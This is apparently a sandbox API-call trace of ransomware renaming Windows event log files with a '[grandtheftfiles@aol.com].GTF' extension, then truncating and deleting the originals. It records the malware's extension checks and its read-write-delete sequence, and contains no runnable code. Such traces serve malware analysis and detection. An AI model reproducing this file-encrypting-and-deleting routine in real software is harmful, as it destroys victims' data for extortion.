	[0078.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.088] lstrlenW (lpString=".doc") returned 4
	[0078.088] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.088] lstrlenW (lpString=".docx") returned 5
	[0078.088] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.088] lstrlenW (lpString=".pdf") returned 4
	[0078.088] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.088] lstrlenW (lpString=".xls") returned 4
	[0078.089] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".xlsx") returned 5
	[0078.089] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.089] lstrlenW (lpString=".ppt") returned 4
	[0078.089] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.089] lstrlenW (lpString=".zip") returned 4
	[0078.089] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".rar") returned 4
	[0078.089] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".bz2") returned 4
	[0078.089] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".7z") returned 3
	[0078.089] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.089] lstrlenW (lpString=".dbf") returned 4
	[0078.089] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.089] lstrlenW (lpString=".1cd") returned 4
	[0078.089] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.089] lstrlenW (lpString=".jpg") returned 4
	[0078.089] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.089] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.089] lstrlenW (lpString=".doc") returned 4
	[0078.089] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".docx") returned 5
	[0078.089] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.089] lstrlenW (lpString=".pdf") returned 4
	[0078.089] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".xls") returned 4
	[0078.089] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.089] lstrlenW (lpString=".xlsx") returned 5
	[0078.089] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.090] lstrlenW (lpString=".ppt") returned 4
	[0078.090] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.090] lstrlenW (lpString=".zip") returned 4
	[0078.090] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.090] lstrlenW (lpString=".rar") returned 4
	[0078.090] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.090] lstrlenW (lpString=".bz2") returned 4
	[0078.090] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.090] lstrlenW (lpString=".7z") returned 3
	[0078.090] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.090] lstrlenW (lpString=".dbf") returned 4
	[0078.090] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.090] lstrlenW (lpString=".1cd") returned 4
	[0078.090] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.090] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0078.090] lstrlenW (lpString=".jpg") returned 4
	[0078.090] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.090] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.090] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49
	[0078.090] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.097] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0078.097] CloseHandle (hObject=0x33c) returned 1
	[0078.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0078.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.097] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.097] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.855] GetLastError () returned 0x0
	[0078.855] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.857] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.859] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.859] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x136, lpOverlapped=0x0) returned 1
	[0078.859] SetEndOfFile (hFile=0x374) returned 1
	[0078.860] CloseHandle (hObject=0x374) returned 1
	[0078.862] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.862] SetEndOfFile (hFile=0x33c) returned 1
	[0078.863] CloseHandle (hObject=0x33c) returned 1
	[0078.863] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.863] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 1
	[0078.864] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.864] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.864] lstrlenW (lpString=".doc") returned 4
	[0078.864] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.864] lstrlenW (lpString=".docx") returned 5
	[0078.864] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.864] lstrlenW (lpString=".pdf") returned 4
	[0078.864] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.864] lstrlenW (lpString=".xls") returned 4
	[0078.864] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.864] lstrlenW (lpString=".xlsx") returned 5
	[0078.864] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.864] lstrlenW (lpString=".ppt") returned 4
	[0078.864] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.864] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.864] lstrlenW (lpString=".zip") returned 4
	[0078.864] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.864] lstrlenW (lpString=".rar") returned 4
	[0078.864] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.864] lstrlenW (lpString=".bz2") returned 4
	[0078.864] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".7z") returned 3
	[0078.865] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.865] lstrlenW (lpString=".dbf") returned 4
	[0078.865] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.865] lstrlenW (lpString=".1cd") returned 4
	[0078.865] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.865] lstrlenW (lpString=".jpg") returned 4
	[0078.865] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.865] lstrlenW (lpString=".doc") returned 4
	[0078.865] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".docx") returned 5
	[0078.865] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.865] lstrlenW (lpString=".pdf") returned 4
	[0078.865] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".xls") returned 4
	[0078.865] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".xlsx") returned 5
	[0078.865] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.865] lstrlenW (lpString=".ppt") returned 4
	[0078.865] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.865] lstrlenW (lpString=".zip") returned 4
	[0078.865] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".rar") returned 4
	[0078.865] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".bz2") returned 4
	[0078.865] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.865] lstrlenW (lpString=".7z") returned 3
	[0078.865] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.865] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.866] lstrlenW (lpString=".dbf") returned 4
	[0078.866] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.866] lstrlenW (lpString=".1cd") returned 4
	[0078.866] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.866] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57
	[0078.866] lstrlenW (lpString=".jpg") returned 4
	[0078.866] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.866] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.866] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59
	[0078.866] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.866] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0078.866] CloseHandle (hObject=0x33c) returned 1
	[0078.866] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20
	[0078.866] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.866] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.867] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.867] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.867] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.867] GetLastError () returned 0x0
	[0078.867] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.870] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.872] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.872] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x14a, lpOverlapped=0x0) returned 1
	[0078.872] SetEndOfFile (hFile=0x374) returned 1
	[0078.872] CloseHandle (hObject=0x374) returned 1
	[0078.874] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.874] SetEndOfFile (hFile=0x33c) returned 1
	[0078.875] CloseHandle (hObject=0x33c) returned 1
	[0078.875] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.876] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 1
	[0078.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.876] lstrlenW (lpString=".doc") returned 4
	[0078.876] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.876] lstrlenW (lpString=".docx") returned 5
	[0078.876] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.876] lstrlenW (lpString=".pdf") returned 4
	[0078.876] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.876] lstrlenW (lpString=".xls") returned 4
	[0078.876] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.876] lstrlenW (lpString=".xlsx") returned 5
	[0078.876] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.876] lstrlenW (lpString=".ppt") returned 4
	[0078.876] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.876] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.876] lstrlenW (lpString=".zip") returned 4
	[0078.876] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.876] lstrlenW (lpString=".rar") returned 4
	[0078.876] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.876] lstrlenW (lpString=".bz2") returned 4
	[0078.876] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString=".7z") returned 3
	[0078.877] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.877] lstrlenW (lpString=".dbf") returned 4
	[0078.877] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.877] lstrlenW (lpString=".1cd") returned 4
	[0078.877] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.877] lstrlenW (lpString=".jpg") returned 4
	[0078.877] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.877] lstrlenW (lpString=".doc") returned 4
	[0078.877] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString=".docx") returned 5
	[0078.877] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.877] lstrlenW (lpString=".pdf") returned 4
	[0078.877] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString=".xls") returned 4
	[0078.877] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString=".xlsx") returned 5
	[0078.877] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.877] lstrlenW (lpString=".ppt") returned 4
	[0078.877] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.877] lstrlenW (lpString=".zip") returned 4
	[0078.877] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString=".rar") returned 4
	[0078.877] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.877] lstrlenW (lpString=".bz2") returned 4
	[0078.877] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.878] lstrlenW (lpString=".7z") returned 3
	[0078.878] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.878] lstrlenW (lpString=".dbf") returned 4
	[0078.878] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.878] lstrlenW (lpString=".1cd") returned 4
	[0078.878] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.878] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0078.878] lstrlenW (lpString=".jpg") returned 4
	[0078.878] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.878] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.878] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47
	[0078.878] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.878] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0078.878] CloseHandle (hObject=0x33c) returned 1
	[0078.878] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0078.878] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.879] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0078.879] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.879] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.879] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.879] GetLastError () returned 0x0
	[0078.879] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.882] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.884] ReadFile (in: hFile=0x33c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.884] WriteFile (in: hFile=0x374, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x132, lpOverlapped=0x0) returned 1
	[0078.884] SetEndOfFile (hFile=0x374) returned 1
	[0078.884] CloseHandle (hObject=0x374) returned 1
	[0078.887] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.887] SetEndOfFile (hFile=0x33c) returned 1
	[0078.888] CloseHandle (hObject=0x33c) returned 1
	[0078.888] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.888] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1
	[0078.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.889] lstrlenW (lpString=".doc") returned 4
	[0078.889] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString=".docx") returned 5
	[0078.889] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.889] lstrlenW (lpString=".pdf") returned 4
	[0078.889] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString=".xls") returned 4
	[0078.889] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString=".xlsx") returned 5
	[0078.889] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.889] lstrlenW (lpString=".ppt") returned 4
	[0078.889] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.889] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0078.889] lstrlenW (lpString=".zip") returned 4
